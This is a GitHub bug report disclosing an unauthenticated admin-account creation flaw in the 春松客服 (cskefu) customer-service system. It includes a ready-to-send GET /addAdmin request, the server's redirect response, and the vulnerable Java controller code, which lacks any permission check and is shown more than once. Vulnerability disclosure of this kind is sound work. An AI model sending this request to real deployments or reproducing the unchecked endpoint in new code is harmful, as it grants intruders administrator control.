

New issue

Jump to bottom

【安全漏洞】前台未授权增加管理员账号 #724

Open

3 tasks

milki0 opened this issue on Jul 17 · 1 comment

Assignees



Labels

bugv7

milki0 commented on Jul 17 • edited

概述

存在添加管理员接口，调用该接口时没有对当前用户进行校验，导致未登录状态下可添加管理员账户。
There is an interface to add an administrator. When calling this interface, the current user is not verified, so that an administrator account can be added when not logged in.

数据包 (payload) :

```
GET /addAdmin?username=admin666&password=admin666123&email=admin666@admin6666.com&mobile=17777777776&
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Cache-Control: max-age=0
```



** 测试截图 (Test screenshot) : **

Request: GET /addAdmin?username=admin666&password=admin666123&email=admin666@admin666.com&mobile=1777777776&superadmin=true HTTP/1.1

Response: HTTP/1.1 302

Location: http://localhost/?schema=http&port=80&hostname=localhost&subtype=user&maintype=apps&typename=methodName&orgi=cskefu&webimport=8036&sessionid=f8dbdd6d51dd44788ccad36c02e7958b&models=cca&models=chatbot&models=report&models=entim&models=contacts&ip=172.18.0.1&userExpTelemetry=on

根据给出的URL

According to the given URL

[http://localhost/?](http://localhost/?schema=http&port=80&hostname=localhost&subtype=user&maintype=apps&typename=methodName&orgi=cskefu&webimport=8036&sessionid=f8dbdd6d51dd44788ccad36c02e7958b&models=cca&models=chatbot&models=report&models=entim&models=contacts&ip=172.18.0.1&userExpTelemetry=on)

[schema=http&port=80&hostname=localhost&subtype=user&maintype=apps&typename=methodName&orgi=cskefu&webimport=8036&sessionid=f8dbdd6d51dd44788ccad36c02e7958b&models=cca&models=chatbot&models=report&models=entim&models=contacts&ip=172.18.0.1&userExpTelemetry=on](http://localhost/?schema=http&port=80&hostname=localhost&subtype=user&maintype=apps&typename=methodName&orgi=cskefu&webimport=8036&sessionid=f8dbdd6d51dd44788ccad36c02e7958b&models=cca&models=chatbot&models=report&models=entim&models=contacts&ip=172.18.0.1&userExpTelemetry=on)

跳转至管理界面

Jump to the management interface

用户	注册时间	姓名	电子邮件	手机	多媒体	管理员	操作
admin	2017-03-16 13:56:34	系统管理员	admin@cc.com	18888888888	✓	✓	
test	2022-06-11 10:23:33	test			✓	✗	编辑 删除
lisi	2022-06-11 10:37:06	lisi			✓	✓	编辑

漏洞分析 (Vulnerability analysis)

漏洞源码 (Vulnerability source code) :

```
@RequestMapping("/addAdmin")
@Menu(type = "apps", subtype = "user", access = true)
```

```

public ModelAndView addAdmin(HttpServletRequest request, HttpServletResponse response, @Valid User
    String msg = "";
    msg = validUser(user);
    if (StringUtils.isNotBlank(msg)) {
        return request(super.createView("redirect:/register.html?msg=" + msg));
    } else {
        user.setUname(user.getUsername());
        user.setAdmin(true);
        if (StringUtils.isNotBlank(user.getPassword())) {
            user.setPassword(MainUtils.md5(user.getPassword()));
        }
        user.setOrgi(super.getOrgi());
        userRepository.save(user);
    }
    ModelAndView view = this.processLogin(request, user, "");
    return view;
}

private String validUser(User user) {
    String msg = "";
    User tempUser = userRepository.findByUsernameAndDatastatus(user.getUsername(), false);
    if (tempUser != null) {
        msg = "username_exist";
        return msg;
    }
    tempUser = userRepository.findByEmailAndDatastatus(user.getEmail(), false);
    if (tempUser != null) {
        msg = "email_exist";
        return msg;
    }
    tempUser = userRepository.findByMobileAndDatastatus(user.getMobile(), false);
    if (tempUser != null) {
        msg = "mobile_exist";
        return msg;
    }
    return msg;
}

```

addAdmin接口未进行权限校验，未登录状态可直接调用

The addadmin interface does not perform permission verification, and can be called directly in the unregistered state

增加用户前，判断传入的用户是否有效

Before adding users, judge whether the incoming users are valid

```
@RequestMapping("/addAdmin")
@Menu(type = "apps", subtype = "user", access = true)
public ModelAndView addAdmin(HttpServletRequest request, HttpServletResponse response, @Valid User user) {
    String msg = "";
    msg = validUser(user);
    if (StringUtils.isNotBlank(msg)) {
        return request(super.createView("redirect:/register.html?msg=" + msg));
    } else {
        user.setUname(user.getUsername());
        user.setAdmin(true);
        if (StringUtils.isNotBlank(user.getPassword())) {
            user.setPassword(MainUtils.md5(user.getPassword()));
        }
        user.setOrgi(super.getOrgi());
        userRepository.save(user);
    }
    ModelAndView view = this.processLogin(request, user, referer: "");
    return view;
}
```

为了顺利到达最后一个return，传入的username，email，mobile都必须为数据库中的唯一值

In order to successfully reach the last return, the username, email and mobile passed in must be unique values in the database

```
private String validUser(User user) {
    String msg = "";
    User tempUser = userRepository.findByUsernameAndDatastatus(user.getUsername(), false);
    if (tempUser != null) {
        msg = "username_exist";
        return msg;
    }
    tempUser = userRepository.findByEmailAndDatastatus(user.getEmail(), false);
    if (tempUser != null) {
        msg = "email_exist";
        return msg;
    }
    tempUser = userRepository.findByMobileAndDatastatus(user.getMobile(), false);
    if (tempUser != null) {
        msg = "mobile_exist";
        return msg;
    }
    return msg;
}
```

当返回的msg为空时，我们就可以继续增加用户的操作，且将添加的用户设置为管理员

When the returned MSG is empty, we can continue to add users and set the added users as administrators

```
@RequestMapping("/addAdmin")
@Menu(type = "apps", subtype = "user", access = true)
public ModelAndView addAdmin(HttpServletRequest request, HttpServletResponse response, @Valid User
    String msg = "";
    msg = validUser(user);
    if (StringUtils.isNotBlank(msg)) {
        return request(super.createView("redirect:/register.html?msg=" + msg));
    } else {
        user.setUname(user.getUsername());
        user.setAdmin(true);
        if (StringUtils.isNotBlank(user.getPassword())) {
            user.setPassword(MainUtils.md5(user.getPassword()));
        }
        user.setOrgi(super.getOrgi());
        userRepository.save(user);
    }
    ModelAndView view = this.processLogin(request, user, referer: "");
    return view;
}
```

操作系统

- ☐ macOS or Mac OSX
- ☐ Windows
- ☐ Linux(Debian, CentOS, Ubuntu, etc.)

代码版本

代码版本 <= 7.0.1

祝福与不祝福

春松客服之所以开源，是基于这样一种信念：爱人也是爱己，利他也是利己。

对人和人美好关系的向往，对人潜力的信任。让我们相信因春松客服而受益的人，会回报给春松客服开源社区，我们[所有贡献者](#)基于共赢的信念合作。

回报方式包括：[提交 PR](#)、购买春松客服相关的[付费产品和服务](#)等。

因春松客服受益，而不回报开源社区的用户，我们不欢迎使用春松客服：我们开源并不是为了你们，你们是不被祝福的。

Open Source for the World

Open Source for the World

春松客服



  **milkii0** assigned **hailiang-wang** on Jul 17

hailiang-wang commented on Jul 17

Member

您是解决该问题的最佳人选：

- 发现问题
- 开发者
- 使用者

欢迎提交 PR，参考：

<https://docs.chatopera.com/products/cskefu/osc/contribution.html>

Thanks!

  **hailiang-wang** added the **bug** label on Jul 17

  **hailiang-wang** assigned **milkii0** and unassigned **hailiang-wang** on Jul 17

  **hailiang-wang** added the **v7** label 27 days ago

Assignees

 **milkii0**

Labels

bug v7

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants

